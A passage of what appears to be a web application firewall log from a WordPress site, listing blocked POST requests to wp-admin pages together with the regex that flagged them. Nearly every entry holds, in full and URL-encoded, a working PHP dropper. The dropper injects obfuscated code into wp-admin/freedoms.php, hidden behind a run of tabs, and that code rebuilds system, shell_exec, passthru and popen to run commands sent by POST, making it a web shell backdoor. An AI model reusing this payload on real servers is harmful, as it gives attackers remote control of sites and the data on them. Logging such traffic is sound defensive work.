er4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:42:43","208.109.188.137","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-length:7280\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nLU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:43:02","46.32.255.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ze:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524event_handler5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524itm_ref%2529%257B%2524flag_key%253D%2524event_handler6%2528%2524itm_ref%2529%253B%2524event_handler7%2528%2524itm_ref%2529%253Bprint%2520%2524flag_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrzHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-length:7280\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nze=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/freedoms.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25277%2527%253B%2524pointer2%2520%253D%2520%25273%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%2527d%2527%253B%2524pointer5%2520%253D%2520%25278%2527%253B%2524pointer6%2520%253D%2520%25275%2527%253B%2524pointer7%2520%253D%2520%25270%2527%253B%2524pointer8%2520%253D%2520%25274%2527%253B%2524pointer9%2520%253D%2520%25272%2527%253B%2524pointer10%2520%253D%2520%2527e%2527%253B%2524pointer11%2520%253D%2520%25271%2527%253B%2524pointer12%2520%253D%2520%2527f%2527%253B%2524pointer13%2520%253D%2520%2527c%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer1.%25279%2527.%2524pointer1.%2524pointer2.%25277%2527.%25274%2527.%2524pointer3.%25275%2527.%2524pointer3.%2524pointer4%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%2524pointer3.%2524pointer5.%2524pointer3.%2524pointer6.%25276%2527.%2527c%2527.%2524pointer3.%2527c%2527.%2524pointer6.%2527f%2527.%25276%2527.%25275%2527.%25277%2527.%25278%2527.%25276%2527.%2524pointer6.%2524pointer3.%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3.%25275%2527.%25277%2527.%2524pointer5.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer2%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%25276%2527.%25271%2527.%25277%2527.%2524pointer2.%25277%2527.%25273%2527.%2524pointer1.%2524pointer8.%25276%2527.%2524pointer5.%2524pointer1.%2524pointer9.%25277%2527.%2524pointer6%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer7.%2524pointer3.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%25275%2527.%25276%2527.%2524pointer10%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524pointer2.%2524pointer1.%25274%2527.%2524pointer1.%25272%2527.%25276%2527.%2524pointer6.%2524pointer3.%2524pointer11.%2524pointer3.%2524pointer4.%25275%2527.%2524pointer12.%25276%2527.%25277%2527.%25276%2527.%25275%2527.%25277%2527.%2524pointer8.%2524pointer6.%2524pointer12.%2524pointer3.%2524pointer2.%25276%2527.%2524pointer12.%2524pointer3.%2524pointer10.%25277%2527.%2524pointer8.%2524pointer3.%25275%2527.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%2524pointer1.%2524pointer2%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer1.%2524pointer7.%2524pointer3.%25273%2527.%25276%2527.%2524pointer13.%25276%2527.%2524pointer12.%25277%2527.%25273%2527.%25276%2527.%2524pointer6%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524pointer1.%25276%2527.%2524pointer3.%2524pointer6.%25276%2527.%2527e%2527.%25277%2527.%2524pointer8.%25275%2527.%2527f%2527.%25276%2527.%25278%2527.%25276%2527.%2524pointer11.%25276%2527.%2524pointer10.%25276%2527.%25274%2527.%2524pointer3.%2527c%2527.%2524pointer3.%25275%2527.%25277%2527.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524event_handler%252C%2524property_set_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_desc%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524itm_ref%253D%2524e